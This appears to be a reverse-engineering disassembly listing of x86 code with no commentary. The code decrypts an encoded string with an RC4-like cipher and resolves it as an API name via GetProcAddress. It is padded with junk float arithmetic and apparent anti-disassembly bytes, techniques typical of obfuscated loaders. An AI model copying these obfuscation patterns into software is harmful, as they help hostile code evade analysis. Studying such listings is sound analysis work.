lea eax, [ebp - 0x2da8]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x36ed]
add edx, ecx
mov byte [ebp - 0x36ed], dl
movzx eax, byte [ebp - 0x36ef]
movzx ecx, byte [ebp - 0x360a]
shl ecx, 0
lea edx, [ebp - 0x2da8]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x35c0]
shl edx, 0
lea esi, [ebp - 0x2da8]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x2da8]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x3609]
shl edx, 0
lea ecx, [ebp - 0x2da8]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x3645]
shl ecx, 0
lea esi, [ebp - 0x2da8]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x36ed]
shl ecx, 0
lea esi, [ebp - 0x2da8]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x2da8]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x2da8]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x3609], al
mov al, byte [ebp - 0x36ef]
mov byte [ebp - 0x3645], al
mov cl, byte [ebp - 0x3609]
mov byte [ebp - 0x37d5], cl
cmp dword [ebp - 0x3798], 0
jbe 0x487964
mov edx, dword [ebp - 0x3798]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x3128]
mov cl, byte [ebp - 0x37d5]
mov byte [edx + eax], cl
jmp 0x487691
mov edx, dword [ebp - 0x3d54]
add edx, 1
mov dword [ebp - 0x3d54], edx
mov eax, dword [ebp - 0x3798]
add eax, 1
mov dword [ebp - 0x3798], eax
mov ecx, dword [ebp - 0x3d54]
add ecx, 1
mov dword [ebp - 0x3d54], ecx
mov edx, dword [ebp - 0x3798]
shl edx, 1
mov dword [ebp - 0x447c], edx
mov eax, dword [ebp - 0x447c]
shl eax, 0
add eax, dword [ebp - 0x45dc]
movzx ecx, byte [eax]
mov dword [ebp - 0x4358], ecx
mov dword [ebp - 0x435c], 0x5f
mov edx, dword [ebp - 0x3798]
shl edx, 1
add edx, 1
mov dword [ebp - 0x4480], edx
mov eax, dword [ebp - 0x4480]
shl eax, 0
add eax, dword [ebp - 0x45dc]
movzx ecx, byte [eax]
mov dword [ebp - 0x4380], ecx
mov dword [ebp - 0x4384], 0x44
mov edx, dword [ebp - 0x4358]
sub edx, dword [ebp - 0x435c]
mov dword [ebp - 0x4388], edx
mov eax, dword [ebp - 0x4380]
sub eax, dword [ebp - 0x4384]
mov dword [ebp - 0x438c], eax
mov ecx, dword [ebp - 0x4388]
shl ecx, 4
mov dword [ebp - 0x4484], ecx
mov edx, dword [ebp - 0x438c]
mov dword [ebp - 0x4494], edx
mov eax, dword [ebp - 0x4484]
or eax, dword [ebp - 0x4494]
mov dword [ebp - 0x448c], eax
mov cl, byte [ebp - 0x448c]
mov byte [ebp - 0x36ef], cl
movzx edx, byte [ebp - 0x3645]
shl edx, 0
lea eax, [ebp - 0x2da8]
mov cl, byte [edx + eax]
mov byte [ebp - 0x36e2], cl
movzx edx, byte [ebp - 0x35c0]
shl edx, 0
lea eax, [ebp - 0x2da8]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x360a]
add edx, ecx
mov byte [ebp - 0x360a], dl
mov al, byte [ebp - 0x35c0]
add al, 1
mov byte [ebp - 0x35c0], al
movzx ecx, byte [ebp - 0x360a]
shl ecx, 0
lea edx, [ebp - 0x2da8]
movzx eax, byte [ebp - 0x3645]
shl eax, 0
lea esi, [ebp - 0x2da8]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3609]
shl edx, 0
lea eax, [ebp - 0x2da8]
movzx ecx, byte [ebp - 0x360a]
shl ecx, 0
lea esi, [ebp - 0x2da8]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x35c0]
shl eax, 0
lea ecx, [ebp - 0x2da8]
movzx edx, byte [ebp - 0x3609]
shl edx, 0
lea esi, [ebp - 0x2da8]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x35c0]
shl ecx, 0
lea edx, [ebp - 0x2da8]
mov al, byte [ebp - 0x36e2]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x36e2]
shl ecx, 0
lea edx, [ebp - 0x2da8]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x36ed]
add ecx, eax
mov byte [ebp - 0x36ed], cl
movzx edx, byte [ebp - 0x36ef]
movzx eax, byte [ebp - 0x360a]
shl eax, 0
lea ecx, [ebp - 0x2da8]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x35c0]
shl ecx, 0
lea esi, [ebp - 0x2da8]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x2da8]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x3609]
shl ecx, 0
lea eax, [ebp - 0x2da8]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x3645]
shl eax, 0
lea esi, [ebp - 0x2da8]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x36ed]
shl eax, 0
lea esi, [ebp - 0x2da8]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x2da8]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x2da8]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x3609], dl
mov dl, byte [ebp - 0x36ef]
mov byte [ebp - 0x3645], dl
mov al, byte [ebp - 0x3609]
mov byte [ebp - 0x37d5], al
cmp dword [ebp - 0x3798], 0
jbe 0x487c37
mov ecx, dword [ebp - 0x3798]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x3128]
mov al, byte [ebp - 0x37d5]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x3d54]
add ecx, 0xb
mov dword [ebp - 0x3d54], ecx
mov edx, dword [ebp - 0x3798]
add edx, 1
mov dword [ebp - 0x4e30], edx
jmp 0x487c66
mov eax, dword [ebp - 0x4e30]
add eax, 1
mov dword [ebp - 0x4e30], eax
mov ecx, dword [ebp - 0x4e30]
cmp ecx, dword [ebp - 0x3d54]
jge 0x487f2f
mov edx, dword [ebp - 0x3798]
add edx, 1
mov dword [ebp - 0x3798], edx
mov eax, dword [ebp - 0x3798]
shl eax, 1
mov dword [ebp - 0x447c], eax
mov ecx, dword [ebp - 0x447c]
shl ecx, 0
add ecx, dword [ebp - 0x45dc]
movzx edx, byte [ecx]
mov dword [ebp - 0x4358], edx
mov dword [ebp - 0x435c], 0x5f
mov eax, dword [ebp - 0x3798]
shl eax, 1
add eax, 1
mov dword [ebp - 0x4480], eax
mov ecx, dword [ebp - 0x4480]
shl ecx, 0
add ecx, dword [ebp - 0x45dc]
movzx edx, byte [ecx]
mov dword [ebp - 0x4380], edx
mov dword [ebp - 0x4384], 0x44
mov eax, dword [ebp - 0x4358]
sub eax, dword [ebp - 0x435c]
mov dword [ebp - 0x4388], eax
mov ecx, dword [ebp - 0x4380]
sub ecx, dword [ebp - 0x4384]
mov dword [ebp - 0x438c], ecx
mov edx, dword [ebp - 0x4388]
shl edx, 4
mov dword [ebp - 0x4484], edx
mov eax, dword [ebp - 0x438c]
mov dword [ebp - 0x4494], eax
mov ecx, dword [ebp - 0x4484]
or ecx, dword [ebp - 0x4494]
mov dword [ebp - 0x448c], ecx
mov dl, byte [ebp - 0x448c]
mov byte [ebp - 0x36ef], dl
movzx eax, byte [ebp - 0x3645]
shl eax, 0
lea ecx, [ebp - 0x2da8]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x36e2], dl
movzx eax, byte [ebp - 0x35c0]
shl eax, 0
lea ecx, [ebp - 0x2da8]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x360a]
add eax, edx
mov byte [ebp - 0x360a], al
mov cl, byte [ebp - 0x35c0]
add cl, 1
mov byte [ebp - 0x35c0], cl
movzx edx, byte [ebp - 0x360a]
shl edx, 0
lea eax, [ebp - 0x2da8]
movzx ecx, byte [ebp - 0x3645]
shl ecx, 0
lea esi, [ebp - 0x2da8]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3609]
shl eax, 0
lea ecx, [ebp - 0x2da8]
movzx edx, byte [ebp - 0x360a]
shl edx, 0
lea esi, [ebp - 0x2da8]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x35c0]
shl ecx, 0
lea edx, [ebp - 0x2da8]
movzx eax, byte [ebp - 0x3609]
shl eax, 0
lea esi, [ebp - 0x2da8]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x35c0]
shl edx, 0
lea eax, [ebp - 0x2da8]
mov cl, byte [ebp - 0x36e2]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x36e2]
shl edx, 0
lea eax, [ebp - 0x2da8]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x36ed]
add edx, ecx
mov byte [ebp - 0x36ed], dl
movzx eax, byte [ebp - 0x36ef]
movzx ecx, byte [ebp - 0x360a]
shl ecx, 0
lea edx, [ebp - 0x2da8]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x35c0]
shl edx, 0
lea esi, [ebp - 0x2da8]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x2da8]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x3609]
shl edx, 0
lea ecx, [ebp - 0x2da8]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x3645]
shl ecx, 0
lea esi, [ebp - 0x2da8]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x36ed]
shl ecx, 0
lea esi, [ebp - 0x2da8]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x2da8]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x2da8]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x3609], al
mov al, byte [ebp - 0x36ef]
mov byte [ebp - 0x3645], al
mov cl, byte [ebp - 0x3609]
mov byte [ebp - 0x37d5], cl
cmp dword [ebp - 0x3798], 0
jbe 0x487f2a
mov edx, dword [ebp - 0x3798]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x3128]
mov cl, byte [ebp - 0x37d5]
mov byte [edx + eax], cl
jmp 0x487c57
mov edx, dword [ebp - 0x3d54]
add edx, 1
mov dword [ebp - 0x3d54], edx
mov eax, dword [ebp - 0x3798]
add eax, 1
mov dword [ebp - 0x3798], eax
mov ecx, dword [ebp - 0x3d54]
add ecx, 1
mov dword [ebp - 0x3d54], ecx
mov edx, dword [ebp - 0x3798]
shl edx, 1
mov dword [ebp - 0x447c], edx
mov eax, dword [ebp - 0x447c]
shl eax, 0
add eax, dword [ebp - 0x45dc]
movzx ecx, byte [eax]
mov dword [ebp - 0x4358], ecx
movss xmm0, dword [0x9db888]
movss dword [ebp - 0x3c3c], xmm0
movss xmm0, dword [0x9db7a4]
movss dword [ebp - 0x3d58], xmm0
movss xmm0, dword [0x9db66c]
movss dword [ebp - 0x3ae0], xmm0
movss xmm0, dword [0x9db520]
movss dword [ebp - 0x45d8], xmm0
movss xmm0, dword [0x9db3c4]
movss dword [ebp - 0x3a00], xmm0
movss xmm0, dword [ebp - 0x3d58]
subss xmm0, dword [ebp - 0x3a00]
movss dword [ebp - 0x3d58], xmm0
movss xmm0, dword [ebp - 0x3ae0]
addss xmm0, dword [ebp - 0x3a00]
movss dword [ebp - 0x3ae0], xmm0
movss xmm0, dword [ebp - 0x3c3c]
addss xmm0, dword [ebp - 0x3a00]
movss dword [ebp - 0x3c3c], xmm0
movss xmm0, dword [ebp - 0x3ae0]
addss xmm0, dword [ebp - 0x3a00]
movss dword [ebp - 0x3ae0], xmm0
movss xmm0, dword [ebp - 0x3ae0]
subss xmm0, dword [ebp - 0x3a00]
movss dword [ebp - 0x3ae0], xmm0
movss xmm0, dword [ebp - 0x3c3c]
comiss xmm0, dword [ebp - 0x3a00]
jbe 0x4880e6
movss xmm0, dword [ebp - 0x3d58]
subss xmm0, dword [ebp - 0x3ae0]
movss dword [ebp - 0x3d58], xmm0
movss xmm0, dword [ebp - 0x3ae0]
mulss xmm0, dword [ebp - 0x45d8]
movss dword [ebp - 0x3ae0], xmm0
movss xmm0, dword [ebp - 0x3a00]
mulss xmm0, dword [ebp - 0x3c3c]
movss dword [ebp - 0x3a00], xmm0
mov dword [ebp - 0x435c], 0x5f
movss xmm0, dword [ebp - 0x3a00]
subss xmm0, dword [ebp - 0x3c3c]
movss dword [ebp - 0x3a00], xmm0
movss xmm0, dword [ebp - 0x3c3c]
addss xmm0, dword [ebp - 0x3d58]
movss dword [ebp - 0x3c3c], xmm0
jmp 0x4882d9
movss xmm0, dword [ebp - 0x45d8]
divss xmm0, dword [ebp - 0x3c3c]
movss dword [ebp - 0x45d8], xmm0
movss xmm0, dword [ebp - 0x3ae0]
divss xmm0, dword [ebp - 0x3a00]
movss dword [ebp - 0x3ae0], xmm0
movss xmm0, dword [ebp - 0x3d58]
divss xmm0, dword [ebp - 0x45d8]
movss dword [ebp - 0x3d58], xmm0
movss xmm0, dword [ebp - 0x3a00]
divss xmm0, dword [ebp - 0x3d58]
movss dword [ebp - 0x3a00], xmm0
movss xmm0, dword [ebp - 0x3d58]
addss xmm0, dword [ebp - 0x45d8]
movss dword [ebp - 0x3d58], xmm0
movss xmm0, dword [ebp - 0x3c3c]
subss xmm0, dword [ebp - 0x3ae0]
movss dword [ebp - 0x3c3c], xmm0
movss xmm0, dword [ebp - 0x3d58]
mulss xmm0, dword [ebp - 0x45d8]
movss dword [ebp - 0x3d58], xmm0
movss xmm0, dword [ebp - 0x3c3c]
subss xmm0, dword [ebp - 0x3ae0]
movss dword [ebp - 0x3c3c], xmm0
movss xmm0, dword [ebp - 0x3c3c]
divss xmm0, dword [ebp - 0x3ae0]
movss dword [ebp - 0x3c3c], xmm0
movss xmm0, dword [ebp - 0x3a00]
subss xmm0, dword [ebp - 0x3d58]
movss dword [ebp - 0x3a00], xmm0
movss xmm0, dword [ebp - 0x3ae0]
comiss xmm0, dword [ebp - 0x3a00]
jbe 0x488261
movss xmm0, dword [ebp - 0x3a00]
subss xmm0, dword [ebp - 0x3c3c]
movss dword [ebp - 0x3a00], xmm0
movss xmm0, dword [ebp - 0x3ae0]
addss xmm0, dword [ebp - 0x45d8]
movss dword [ebp - 0x3ae0], xmm0
movss xmm0, dword [ebp - 0x3d58]
divss xmm0, dword [ebp - 0x3ae0]
movss dword [ebp - 0x3d58], xmm0
movss xmm0, dword [ebp - 0x3ae0]
mulss xmm0, dword [ebp - 0x45d8]
movss dword [ebp - 0x3ae0], xmm0
movss xmm0, dword [ebp - 0x3c3c]
subss xmm0, dword [ebp - 0x3d58]
movss dword [ebp - 0x3c3c], xmm0
jmp 0x4882d9
movss xmm0, dword [ebp - 0x45d8]
mulss xmm0, dword [ebp - 0x3a00]
movss dword [ebp - 0x45d8], xmm0
movss xmm0, dword [ebp - 0x3d58]
divss xmm0, dword [ebp - 0x3ae0]
movss dword [ebp - 0x3d58], xmm0
movss xmm0, dword [ebp - 0x45d8]
addss xmm0, dword [ebp - 0x3a00]
movss dword [ebp - 0x45d8], xmm0
movss xmm0, dword [ebp - 0x3c3c]
divss xmm0, dword [ebp - 0x3d58]
movss dword [ebp - 0x3c3c], xmm0
movss xmm0, dword [ebp - 0x3a00]
divss xmm0, dword [ebp - 0x3c3c]
movss dword [ebp - 0x3a00], xmm0
mov edx, dword [ebp - 0x3798]
shl edx, 1
add edx, 1
mov dword [ebp - 0x4480], edx
mov eax, dword [ebp - 0x4480]
shl eax, 0
add eax, dword [ebp - 0x45dc]
movzx ecx, byte [eax]
mov dword [ebp - 0x4380], ecx
mov dword [ebp - 0x4384], 0x44
mov edx, dword [ebp - 0x4358]
sub edx, dword [ebp - 0x435c]
mov dword [ebp - 0x4388], edx
mov eax, dword [ebp - 0x4380]
sub eax, dword [ebp - 0x4384]
mov dword [ebp - 0x438c], eax
mov ecx, dword [ebp - 0x4388]
shl ecx, 4
mov dword [ebp - 0x4484], ecx
mov edx, dword [ebp - 0x438c]
mov dword [ebp - 0x4494], edx
mov eax, dword [ebp - 0x4484]
or eax, dword [ebp - 0x4494]
mov dword [ebp - 0x448c], eax
mov cl, byte [ebp - 0x448c]
mov byte [ebp - 0x36ef], cl
movzx edx, byte [ebp - 0x3645]
shl edx, 0
lea eax, [ebp - 0x2da8]
mov cl, byte [edx + eax]
mov byte [ebp - 0x36e2], cl
movzx edx, byte [ebp - 0x35c0]
shl edx, 0
lea eax, [ebp - 0x2da8]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x360a]
add edx, ecx
mov byte [ebp - 0x360a], dl
mov al, byte [ebp - 0x35c0]
add al, 1
mov byte [ebp - 0x35c0], al
movzx ecx, byte [ebp - 0x360a]
shl ecx, 0
lea edx, [ebp - 0x2da8]
movzx eax, byte [ebp - 0x3645]
shl eax, 0
lea esi, [ebp - 0x2da8]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3609]
shl edx, 0
lea eax, [ebp - 0x2da8]
movzx ecx, byte [ebp - 0x360a]
shl ecx, 0
lea esi, [ebp - 0x2da8]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x35c0]
shl eax, 0
lea ecx, [ebp - 0x2da8]
movzx edx, byte [ebp - 0x3609]
shl edx, 0
lea esi, [ebp - 0x2da8]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x35c0]
shl ecx, 0
lea edx, [ebp - 0x2da8]
mov al, byte [ebp - 0x36e2]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x36e2]
shl ecx, 0
lea edx, [ebp - 0x2da8]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x36ed]
add ecx, eax
mov byte [ebp - 0x36ed], cl
movzx edx, byte [ebp - 0x36ef]
movzx eax, byte [ebp - 0x360a]
shl eax, 0
lea ecx, [ebp - 0x2da8]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x35c0]
shl ecx, 0
lea esi, [ebp - 0x2da8]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x2da8]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x3609]
shl ecx, 0
lea eax, [ebp - 0x2da8]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x3645]
shl eax, 0
lea esi, [ebp - 0x2da8]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x36ed]
shl eax, 0
lea esi, [ebp - 0x2da8]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x2da8]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x2da8]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x3609], dl
mov dl, byte [ebp - 0x36ef]
mov byte [ebp - 0x3645], dl
mov al, byte [ebp - 0x3609]
mov byte [ebp - 0x37d5], al
cmp dword [ebp - 0x3798], 0
jbe 0x48854a
mov ecx, dword [ebp - 0x3798]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x3128]
mov al, byte [ebp - 0x37d5]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x3798]
add ecx, 1
mov dword [ebp - 0x3798], ecx
mov edx, dword [ebp - 0x3d54]
add edx, 1
mov dword [ebp - 0x3d54], edx
mov eax, dword [ebp - 0x3798]
shl eax, 1
mov dword [ebp - 0x447c], eax
mov ecx, dword [ebp - 0x447c]
shl ecx, 0
add ecx, dword [ebp - 0x45dc]
movzx edx, byte [ecx]
mov dword [ebp - 0x4358], edx
mov dword [ebp - 0x435c], 0x5f
mov eax, dword [ebp - 0x3798]
shl eax, 1
add eax, 1
mov dword [ebp - 0x4480], eax
mov ecx, dword [ebp - 0x4480]
shl ecx, 0
add ecx, dword [ebp - 0x45dc]
movzx edx, byte [ecx]
mov dword [ebp - 0x4380], edx
mov dword [ebp - 0x4384], 0x44
mov eax, dword [ebp - 0x4358]
sub eax, dword [ebp - 0x435c]
mov dword [ebp - 0x4388], eax
mov ecx, dword [ebp - 0x4380]
sub ecx, dword [ebp - 0x4384]
mov dword [ebp - 0x438c], ecx
mov edx, dword [ebp - 0x4388]
shl edx, 4
mov dword [ebp - 0x4484], edx
mov eax, dword [ebp - 0x438c]
mov dword [ebp - 0x4494], eax
mov ecx, dword [ebp - 0x4484]
or ecx, dword [ebp - 0x4494]
mov dword [ebp - 0x448c], ecx
mov dl, byte [ebp - 0x448c]
mov byte [ebp - 0x36ef], dl
movzx eax, byte [ebp - 0x3645]
shl eax, 0
lea ecx, [ebp - 0x2da8]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x36e2], dl
movzx eax, byte [ebp - 0x35c0]
shl eax, 0
lea ecx, [ebp - 0x2da8]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x360a]
add eax, edx
mov byte [ebp - 0x360a], al
mov cl, byte [ebp - 0x35c0]
add cl, 1
mov byte [ebp - 0x35c0], cl
movzx edx, byte [ebp - 0x360a]
shl edx, 0
lea eax, [ebp - 0x2da8]
movzx ecx, byte [ebp - 0x3645]
shl ecx, 0
lea esi, [ebp - 0x2da8]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3609]
shl eax, 0
lea ecx, [ebp - 0x2da8]
movzx edx, byte [ebp - 0x360a]
shl edx, 0
lea esi, [ebp - 0x2da8]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x35c0]
shl ecx, 0
lea edx, [ebp - 0x2da8]
movzx eax, byte [ebp - 0x3609]
shl eax, 0
lea esi, [ebp - 0x2da8]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x35c0]
shl edx, 0
lea eax, [ebp - 0x2da8]
mov cl, byte [ebp - 0x36e2]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x36e2]
shl edx, 0
lea eax, [ebp - 0x2da8]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x36ed]
add edx, ecx
mov byte [ebp - 0x36ed], dl
movzx eax, byte [ebp - 0x36ef]
movzx ecx, byte [ebp - 0x360a]
shl ecx, 0
lea edx, [ebp - 0x2da8]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x35c0]
shl edx, 0
lea esi, [ebp - 0x2da8]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x2da8]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x3609]
shl edx, 0
lea ecx, [ebp - 0x2da8]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x3645]
shl ecx, 0
lea esi, [ebp - 0x2da8]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x36ed]
shl ecx, 0
lea esi, [ebp - 0x2da8]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x2da8]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x2da8]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x3609], al
mov al, byte [ebp - 0x36ef]
mov byte [ebp - 0x3645], al
mov cl, byte [ebp - 0x3609]
mov byte [ebp - 0x37d5], cl
cmp dword [ebp - 0x3798], 0
jbe 0x48880b
mov edx, dword [ebp - 0x3798]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x3128]
mov cl, byte [ebp - 0x37d5]
mov byte [edx + eax], cl
mov edx, 1
imul eax, edx, 0x18
mov dword [ebp - 0x5f3c], eax
cmp dword [ebp - 0x5f3c], 0x19
jae 0x488824
jmp 0x488829
call fcn.009b6d77
lea ecx, [ebp - 0x3128]
add ecx, dword [ebp - 0x5f3c]
mov byte [ecx], 0
jmp 0x48888b
mov dword [ebp - 0x3798], 0
jmp 0x488855
mov edx, dword [ebp - 0x3798]
add edx, 1
mov dword [ebp - 0x3798], edx
cmp dword [ebp - 0x3798], 0x19
jae 0x48888b
mov eax, dword [ebp - 0x3798]
mov dword [ebp - 0x5f38], eax
cmp dword [ebp - 0x5f38], 0x19
jae 0x488875
jmp 0x48887a
call fcn.009b6d77
lea ecx, [ebp - 0x3128]
add ecx, dword [ebp - 0x5f38]
mov byte [ecx], 0
jmp 0x488846
lea edx, [ebp - 0x3128]
push edx
mov eax, dword [ebp - 0x37e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0xa0684c], eax
xorps xmm0, xmm0
movsd qword [ebp - 0x5700], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5368], xmm0
mov dword [ebp - 0x36c4], 0
mov dword [ebp - 0x4e34], 0
mov dword [ebp - 0x58ec], 0
mov dword [ebp - 0x5420], 1
mov dword [ebp - 0x48bc], 0
mov dword [ebp - 0x5c00], 0
mov dword [ebp - 0x38e4], 0
mov dword [ebp - 0x3d50], 0
mov dword [ebp - 0x3c40], 0
mov dword [ebp - 0x3c44], 0
mov dword [ebp - 0x3d4c], 0
mov dword [ebp - 0x3c48], 0
mov dword [ebp - 0x3c4c], 0
mov dword [ebp - 0x3c50], 0
mov dword [ebp - 0x3c54], 0
mov dword [ebp - 0x3d48], 0
mov dword [ebp - 0x3d44], 0
mov dword [ebp - 0x3d40], 0
mov dword [ebp - 0x4e38], 0
mov byte [ebp - 0x3571], 0
mov byte [ebp - 0x3590], 0
mov byte [ebp - 0x3637], 0
mov byte [ebp - 0x3591], 0
mov byte [ebp - 0x35c1], 0
mov byte [ebp - 0x3773], 0
mov byte [ebp - 0x419f], 0
mov byte [ebp - 0x3638], 0
mov byte [ebp - 0x3636], 0
mov byte [ebp - 0x36fd], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x5700], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5368], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5368], xmm0
jmp 0x4889f9
movsd xmm0, qword [ebp - 0x5368]
addsd xmm0, qword [0x9d9060]
movsd qword [ebp - 0x5368], xmm0
movsd xmm0, qword [0x9db1d0]
comisd xmm0, xmmword [ebp - 0x5368]
jbe 0x488aaa
movsd xmm0, qword [0x9da348]
mulsd xmm0, qword [ebp - 0x5368]
mulsd xmm0, qword [ebp - 0x5368]
movsd xmm1, qword [ebp - 0x5368]
mulsd xmm1, qword [ebp - 0x5368]
subsd xmm0, xmm1
movsd xmm1, qword [0x9d9e08]
mulsd xmm1, qword [ebp - 0x5368]
mulsd xmm1, qword [ebp - 0x5368]
addsd xmm1, qword [0x9d9f80]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x5700]
movsd qword [ebp - 0x5700], xmm0
movsd xmm0, qword [ebp - 0x5700]
comisd xmm0, xmmword [0x9da1e8]
jbe 0x488aa5
movsd xmm0, qword [0x9d9cc8]
mulsd xmm0, qword [ebp - 0x5368]
movsd xmm1, qword [ebp - 0x5700]
subsd xmm1, xmm0
movsd qword [ebp - 0x5700], xmm1
jmp 0x4889e1
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x5700]
jbe 0x488af7
imul esp, esi, 0xef65e664
call fcn.00486e21
arpl dx, bp
invalid
mov dword [ebp - 0x6254], 0x488ab7
mov dword [ebp - 0x61b4], 0x488ad7
mov ecx, dword [ebp - 0x6254]
mov dword [ebp - 0x3e08], ecx
mov edx, dword [ebp - 0x61b4]
mov dword [ebp - 0x623c], edx
mov byte [ebp - 0x419f], 0x1f
mov dword [ebp - 0x36c4], 0
mov dword [ebp - 0x4e34], 0
mov dword [ebp - 0x36c4], 0
jmp 0x488b59
mov eax, dword [ebp - 0x36c4]
add eax, 1
mov dword [ebp - 0x36c4], eax
cmp dword [ebp - 0x36c4], 0x100
jae 0x488b7f
mov ecx, dword [ebp - 0x36c4]
shl ecx, 0
lea edx, [ebp - 0xd9c]
mov al, byte [ebp - 0x36c4]
mov byte [ecx + edx], al
jmp 0x488b4a
mov dword [ebp - 0x4e34], 0
mov byte [ebp - 0x3773], 0
mov dword [ebp - 0x36c4], 0xff
jmp 0x488bab
mov ecx, dword [ebp - 0x36c4]
sub ecx, 1
mov dword [ebp - 0x36c4], ecx
cmp dword [ebp - 0x36c4], 0
jbe 0x488e71
mov dword [ebp - 0x58ec], 0
mov dword [ebp - 0x5420], 1
mov dword [ebp - 0x48bc], 0
mov edx, dword [ebp - 0x5420]
cmp edx, dword [ebp - 0x36c4]
jae 0x488bf7
mov eax, dword [ebp - 0x5420]
shl eax, 1
add eax, 1
mov dword [ebp - 0x5420], eax
jmp 0x488bd6
mov ecx, dword [ebp - 0x4e34]
mov dword [ebp - 0x5f34], ecx
cmp dword [ebp - 0x5f34], 3
ja case.default.0x488c16
mov edx, dword [ebp - 0x5f34]
jmp dword [edx*4 + 0x4f077c]
